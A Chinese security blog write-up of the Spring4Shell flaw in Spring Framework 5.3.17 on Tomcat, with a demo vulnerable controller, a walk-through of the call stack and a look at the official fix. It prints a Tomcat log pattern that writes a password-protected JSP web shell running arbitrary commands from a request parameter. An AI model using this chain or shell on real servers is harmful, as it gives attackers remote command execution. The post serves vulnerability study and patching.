去年爆出的老洞了,之前刚爆出来的时候关注了下,没深入研究,最近项目中又碰到了,特此记录下。
利用前提
影响范围
漏洞修复
官方已发布补丁,升级到下面版本即可
前置知识
springmvc 参数自动绑定:为了方便前后端处理参数,在controller 用实体接收参数的时候,会根据实体的类型进行自动绑定和赋值,在后续的业务处理中就可以使用这些自动赋值后的实体进行操作,下面是一个漏洞环境示例
关键组件版本
<spring-framework.version>5.3.17</spring-framework.version>
<tomcat.version>9.0.30</tomcat.version>
目录结构
2个实体entity,一个controller
User entity 内容
@Data
@AllArgsConstructor
@NoArgsConstructor
public class User {
private int id;
private String name;
private Type type;} Type entity 内容
@Data
@NoArgsConstructor
@AllArgsConstructor
public class Type {
private String info;} Controller 内容
@RequestMapping("/hello")
@ResponseBody
public Object hello(User user){
log.info("user:{}",user);
return "ok\n"+user;
}代码逻辑比较简单,前端传参之后直接使用方法
中的参数绑定User 实体,然后返回user 对应
的内容到前端
本身这个功能很正常,就是为了方便前后端传递参数,但是结合特定的部署环境就容易导致严重的漏洞
直接来看下面的poc ,就能看出问题所在了
tomcat 中默认会使用下面的日志格式记录访问日志
<Valve className="org.apache.catalina.valves.AccessLogValve" directory="logs"
prefix="localhost_access_log" suffix=".txt"
pattern="%h %l %u %t "%r" %s %b" />
poc 发送到服务器之后相当于将日志格式修改成下面这样
<Valve className="org.apache.catalina.valves.AccessLogValve" directory="webapps/ROOT"
prefix="myshell" suffix=".jsp"
pattern=" %{c2}i if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in = %{c1}i.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } %{suffix}i" />
其中的pattern 的格式,可以参考tomcat 文档说明
%{xxx}a
write remote address (client) (xxx==remote
) or connection peer address (xxx=peer
)
%{xxx}i
write value of incoming header with name xxx
(escaped if required)
%{xxx}o
write value of outgoing header with name xxx
(escaped if required)
%{xxx}c
write value of cookie(s) with name xxx
(comma separated and escaped if required)
%{xxx}r
write value of ServletRequest attribute with name xxx
(escaped if required, value ??
if request is null)
%{xxx}s
write value of HttpSession attribute with name xxx
(escaped if required, value ??
if request is null)
%{xxx}p
write local (server) port (xxx==local
) or remote (client) port (xxx=remote
)
%{xxx}t
write timestamp at the end of the request formatted using the enhanced SimpleDateFormat pattern xxx
其中 %{xxx}i
作用就是通过获取http header 中的c1、c2、suffix 三个值,然后赋值给pattern 进行日志记录,其中header 的值如下
结合pattern 的内容,最后在日志中生成了一句话木马,其实利用链比较简单:
通过http请求发送poc
触发spring 的参数自动绑定
修改tomcat 日志格式
将webshell 写入tomcat 的日志 myshell.jsp 中,可以被tomcat 正常解析。
至此漏洞利用成功,附上一份gpt 对于poc 的解释
接下来我们看下为啥会触发这个漏洞,跟进一下具体的代码逻辑
首先,发送个正常请求
spring-beans-5.3.17-sources.jar!/org/springframework/beans/BeanWrapperImpl.java:176
定位到上述关键代码,spring 在包装bean 的时候竟然主动将class 对象也放进去了,本来在构造poc 的时候还在想,没有哪个程序员会傻到将Class 类内嵌到entity 中进行操作吧,现在有了class 对象就能通过jdk9+ 的模块化功能,直接修改tomcat 的日志格式了。
此时关键调用栈如下
getCachedIntrospectionResults():176, BeanWrapperImpl (org.springframework.beans)
getLocalPropertyHandler(String):230, BeanWrapperImpl (org.springframework.beans)
getLocalPropertyHandler(String):63, BeanWrapperImpl (org.springframework.beans)
getPropertyValue(AbstractNestablePropertyAccessor$PropertyTokenHolder):625, AbstractNestablePropertyAccessor (org.springframework.beans)
getNestedPropertyAccessor(String):843, AbstractNestablePropertyAccessor (org.springframework.beans)
getPropertyAccessorForPropertyPath(String):820, AbstractNestablePropertyAccessor (org.springframework.beans)
getPropertyAccessorForPropertyPath(String):821, AbstractNestablePropertyAccessor (org.springframework.beans)
doRun():1598, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
run():49, SocketProcessorBase (org.apache.tomcat.util.net)
runWorker(ThreadPoolExecutor$Worker):1128, ThreadPoolExecutor (java.util.concurrent)
run():628, ThreadPoolExecutor$Worker (java.util.concurrent)
run():61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
run():834, Thread (java.lang)
发送poc 再跟进一下,下面的resource 只有在tomcat 部署模式下才会出现,这也是为什么jar 包形式的部署方法无法触发此漏洞。
resources -> {[email protected]} "org.springframework.beans.GenericTypeAwarePropertyDescriptor[name=resources]"
以修改suffix 的poc 为例,可以看到已经可以获取到具体的对象,然后通过赋值,直接可以改变tomcat 的日志格式。从这里也可以看出,赋值是保存在内存中,没有任何文件落地,在服务器重启之后配置就会失效。
其它几个修改日志格式的poc 调用链类似,不再赘述。
通过对官方补丁的跟踪对比
https://github.com/spring-projects/spring-framework/commit/002546b3e4b8d791ea6acccb81eb3168f51abb15?diff=unified
在 PropertyDescriptor 的获取中,可以看到仅允许 name 和Name 开头的Class 类中的内容被允许,也就是说poc 中通过Class.getMoudle().ClassLoader() 获取的方式已经被死死地限制住了,通过两三行代码修复了这个漏洞。
漏洞环境领取方式:
关注"攻防之道" 公众号
回复 “spring” 获取下载链接